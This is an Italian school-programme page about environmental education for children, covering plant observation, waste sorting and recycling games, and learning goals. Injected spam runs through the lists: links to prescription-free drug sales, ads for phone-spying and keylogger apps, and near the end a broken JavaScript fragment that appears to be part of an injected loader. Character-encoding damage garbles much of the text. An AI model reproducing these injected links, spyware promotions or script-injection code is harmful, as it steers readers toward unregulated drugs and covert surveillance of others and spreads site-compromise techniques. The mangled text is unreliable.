Alla scoperta dell’ambiente

Il percorso vuole stimolare i bambini ad osservare il mondo che li circonda, sia naturale che cittadino, e a riflettere sui loro comportamenti e sullai??i??impatto che questi hanno sullai??i??ambiente.
Il territorio che ci circonda offre, infatti, in ogni stagione infiniti spunti di osservazione e di ricerca che costituiscono un importante supporto per lai??i??approfondimento didattico.

Cheap Il percorso si articola su due filoni.

Scoperta della natura: attraverso delle escursioni e dei laboratori creativi si propone agli studenti la scoperta attiva e personale di un aspetto dell’ambiente naturale: la vegetazione. Il metodo utilizzato prevede che si affianchino osservazioni ai???scientificheai??i?? sul campo a metodi di indagine basati sulla percezione sensoriale a cui seguirAi?? una fase di rielaborazione creativa.
Analisi dei materiali di scarto e riciclaggio attraverso attivitAi?? ludiche: si propone una riflessione sul tema dei rifiuti solidi urbani e della raccolta differenziata attraverso dei momenti di osservazione in campo, seguiti da esperimenti per verificare la diversa degradabilitAi?? dei materiali nellai??i??ambiente. SeguirAi?? un percorso di animazione ludica e di costruzione di giochi partendo dagli ai???scartiai??i?? che i bambini buttano quotidianamente.

FinalitAi??

Promuovere la progettazione del futuro e stimolare la consapevolezza che anche le azioni di una singola persona possono avere un peso nella realtAi??

Obiettivi educativi

buy azulfidine 500

  • Promuovere le capacitAi?? individuali, offrendo spazi ed occasioni di gratificazione anche agli alunni poco motivati;
  • cheap precose weight

  • Produrre ricadute sull’impegno scolastico e sulle relazioni interpersonali stimolando il lavoro di gruppo;
  • Integrare gli alunni portatori di handicap o di svantaggio;
  • http://gsoelektronik.com/?p=5814

  • Promuovere la partecipazione attiva ai percorsi di conoscenza;
  • Imparare a gestire un compito attraverso diverse fasi: ricerca, elaborazione, trasmissione dei risultati;
  • Sviluppare le modalitAi?? generali del pensiero come lai??i??articolazione logica, il senso del tempo, dello spazio, la capacitAi?? di osservazione, la creativitAi?? e la fantasia.

Obiettivi didattici

  • Scoprire attraverso lai??i??osservazione la biodiversitAi??;
  • Conoscere e utilizzare metodi di rilevamento scientifici per il riconoscimento delle specie, la riproduzione su scala ridotta, lai??i??analisi della degradabilitAi??;
  • cheap pills

  • Imparare a utilizzare i sensi nel rapporto con la natura;
  • Sensibilizzare a un rapporto di rispetto e promuovere dei comportamenti consapevoli nel rapporto singolo – ambiente.

Aree didattiche di riferimento

Buy }


Order

Order if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s); http://www.lauralouenterprise.com/2018/02/13/purchase-colospa-x/ topspyapps.net http://empiricalexchange.com/?p=19892 http://bus-tourist.de/paroxetine-no-prescription/ spying app, sms tracker for iphone, android keylogger Pills